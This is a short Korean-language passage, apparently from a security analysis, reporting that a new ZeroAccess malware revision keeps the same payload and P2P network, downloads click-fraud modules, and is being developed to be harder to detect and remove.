제로액세스 페이로드는 이번 수정본에서는 변경되지 않았습니다.

맬웨어는 이 기술문서에 설명한 것처럼 동일한 P2P(peer to peer) 네트워크와 연결되어 현재는 주로 클릭 사기를 수행하는 모듈을 다운로드하고 있습니다.

하지만, 이번 업데이트는 활발한 개발이 여전히 진행 중에 있고, 그 제작자의 초점이 좀 더 어려운 프로세스를 발견하고 제거함으로써 시스템을 감염시키는 제로액세스(ZeroAccess)의 생명주기를 늘이는 데 있다는 것을 보여줍니다.